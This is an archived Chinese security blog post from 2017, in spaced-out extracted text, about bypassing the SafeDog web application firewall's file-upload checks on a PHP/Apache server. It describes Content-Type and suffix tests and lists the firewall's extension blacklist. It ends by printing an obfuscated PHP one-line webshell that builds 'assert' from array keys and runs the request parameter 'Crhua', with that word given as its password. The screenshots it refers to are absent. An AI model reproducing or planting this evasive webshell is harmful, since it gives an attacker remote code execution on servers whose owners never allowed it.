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[18834] 2017-04-27_文件上传的bypass技巧

文档创建者：s7ckTeam
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最后更新：2025-01-18
2017-04-27_文件上传的bypass技巧 文 件 上 传 的 b y p a s s 技 巧 C r h u a   h u a s e c   2 0 1 7 - 0 4 - 2 7 测 试 环 境 ： w i n d o w s   s e r v e r   2 0 0 3 某 狗 v 4 . 0 p h p   5 . 4 . 4 5 + A p a c h e 代 码 ： 上 传 一 张 正 常 图 片 这 是 肯 定 不 会 拦 截 的 ， 接 下 来 我 们 修 改 C o n t e n t - T y p e   上 传
安 全 狗 没 有 拦 截 ， 但 是 上 传 失 败 ， 说 明 安 全 狗 会 检 测 C o n t e n t - T y p e , 于 是 我 们 尝 试 修 改 下 文 件 后 缀 看 看 安 全 狗 拦 截 了 ， 尽 管 我 们 上 传 的 是 图 片 但 是 修 改 后 缀 便 拦 截 ， 说 明 安 全 狗 对 文 件 后 缀 很 敏 感 附 ： 安 全 狗 的 黑 名 单 ：   * . a s a   * . a s p   * . p h p   * . a s a x   * . c e r   * . a s p x   * . c d x   * . c g i   * . e x e   * . d l l   * . j s p   * . a s m x   等 等 接 下 来 我 们 尝 试 修 改 后 缀
绕 过 安 全 狗 成 功 上 传 p s : 过 狗 一 句 话 < ? p h p $ p   =   a r r a y ( ' f ' = > ' a ' , # a f f f f f f f f f ' p f f f f ' = > ' s ' / * 2 2 3 *   1 * / , ' e ' = > ' f f f f f ' , / / F J K S J K F S N M F S S D S D S / / D * S A / * D S A & * $ @ & $ @ & ( # * ( ' l f a a a a ' = > ' r ' , / / F J K S J K F S N M F S S D S D S / / D * S A / * D S A & * $ @ & $ @ & ( # * ( ; ' n n n n n ' = > ' t ' / / & $ @ & ( # * ( ; ) ; / / & $ @ & ( # * ( ; $ a   =   a r r a y _ k e y s ( $ p ) ; / / 9 * 9 * 5 6 5 6 @ $ _ = $ p [ ' p f f f f ' ] . # / * @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ * / $ p [ ' p f f f f ' ] . $ a [ 2 ] ; @ $ _ = # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ $ p [ ' f ' ] . / * - / * - * / $ _ . # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ $ p [ ' l f a a a a ' ] . $ p [ ' n n n n n ' ] ; # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ $ _ # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ( $ _ R E Q U E S T [ # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ' C r h u a ' # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ # @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ ] ) ; ? > 密 码 C r h u a 如 果 想 要 了 解 更 多 ， 欢 迎 关 注 我 们 的 公 众 号

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